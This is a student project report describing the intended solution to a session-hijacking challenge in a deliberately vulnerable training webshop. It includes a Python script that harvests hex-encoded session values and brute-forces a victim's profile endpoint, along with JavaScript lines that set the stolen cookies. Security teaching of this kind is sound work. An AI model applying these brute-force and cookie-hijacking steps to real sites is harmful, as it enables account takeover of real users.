PSI-CAD-Project Report SoSe 2019

Alexander Böhner (1937944)
mailto:alexander.boehner@stud.uni-bamberg.de

Melanie Vogel (1738258)
mailto:melanie-margot.vogel@stud.uni-bamberg.de

September 30, 2019

Contents

List of Figures

1 Expected Approaches

1.1 Session Hijacking

The second scenario is about *Session Hijacking* and the goal is to steal the sessionId of an user from the webshop. *Task*

Steal the sessionId of the user *Donald* and use his session to get access to his profile.

Expected Approach

In order to distinguish between the previous XSS scenario, where the goal was also to perform kind of a session hijacking attack, the focus in this scenario is on performing brute force attacks with self constructed sessionIds.

However, the goal is the same: The attacker shall steal the sessionId and set the cookie as his or her own. When the task is solved successfully the attacker gets access to Donald's profile page.

The main difference from the previous scenario is that no link or any other script code needs to be injected, but existing vulnerable mechanisms of the server configuration should be exploited. More concrete, this means the attacker must be aware of the existence of server logging sites such as the *server status* page of Apache for example. In our case, we used *nginx* with the *nginx_status* page. Since this status page does not log the requests explicitly, we made the server *access.log* directly available to the attacker via ip:port/access.log.

Within the access.log file the attacker can view another request of a customer of the MATESHOP.

The clue is that the sessionId consists of two parts named *id* and *session* where *id* is basically the cookie and the *session* is a generated string.

The attacker should notice that the logged requests consist only of the first part, the *id*, whereas a successful hack of the profile requires both *id* and *session* value. Additionally, the attacker can also investigate his or her own cookies received by the MATESHOP via the browser console.

The attacker should view the requests made by the shop in order to retrieve a session id and the profile page.

This is where the real work begins. The attacker should now know that new *session* cookies were generated with each request to `/session?id=...` at the backendserver (i.e.

expres-server at port 3000). Requesting those sessionIds for an already existing *id* cookie, the server responds with a specific error message.

After querying a few of those sessionIds, the attacker should at some point find out, that these sessionId's are restricted to specific values. The goal hereby is to collect as many *session*'s as possible in order to get information about the space of possible session ids.

In order for the attacker to come up with own session cookies, he or she should notice that the *session* value is an text encoded as a hexadecimal ascii value. After decoding the values, it should be obvious that the sessionId's are made up of a bavarian adjective and noun. With the help of these values the attacker can construct own sessionId's by combining all the retrieved values and perform a brute force attack with the first part of the cookie from the access.log and the unknown second part via the request url: `http://192.168.178.32:3000/profile?id=<id>&session=<session>`.

In the following, we present a summary of what has to be done in order to find the victims sessionId. After the list we also provide a python snippet which performs step 2-6.

1. View the access.log file which is available at **angular_host**/access.log and find out from the logs there exist a requests containing a sessionId which is not yours.

   The logged cookie named *id* from the other user is: ZmNrIGFmZAo=. The goal is to find the second cookie named *session*. The concatenation of both leads to access to the profile.

2. The values of the *session* cookie are a restricted set of word combinations. Therefore, collect as many sessions as possible to gain all the possible value combinations via requests to the express server at `server:3000/session?id=...`.

3. Decode the hexadecimal values with xxd -r. You receive a list of adjectives and nouns.

4. Generate new combinations of adjectives and nouns.

5. Encode them as hexadecimals.

6. Try different combinations with the *id* ZmNrIGFmZAo and the encoded new values at the /profile endpoint until a different response is given.

7. Set the cookie in the browser via

```
1      document.cookie="id=ZmNrIGFmZAo"
2      document.cookie="session=6777616
           d706572746572205a697066656c6b6c61747363686572"
```

Solution Script:

```
1 import urllib.request
2 import json
3 import sys
4
```

```
sessions = []
for x in range(100, 10000):
    contents = urllib.request
        .urlopen("http://localhost:3000/session?id=" + str(x))
    session = json.load(contents)["session"]
    sessions.append(bytes.fromhex(session).decode('ascii'))

adjectives = []
nomen = []

for sId in sessions:
    adjectives.append(sId.split( )[0]);
    nomen.append(sId.split( )[1]);
adjectives = list(set(adjectives))
nomen = list(set(nomen))

for adj in adjectives:
    for nom in nomen:
        session = adj + ' ' + nom
        try:
            contents = urllib.request
                .urlopen("http://localhost:3000/profile"
                + "?id=ZmNrIGFmZAo=&session="
                + session.encode('ascii').hex())

            print(contents)
            print('Used sessionId: ' + session + ' hex: ' +
                 session.encode('ascii').hex())

            sys.exit()
        except urllib.request.HTTPError:
            print(session + ' did not work ascii: '
                 +  session.encode('ascii').hex())
```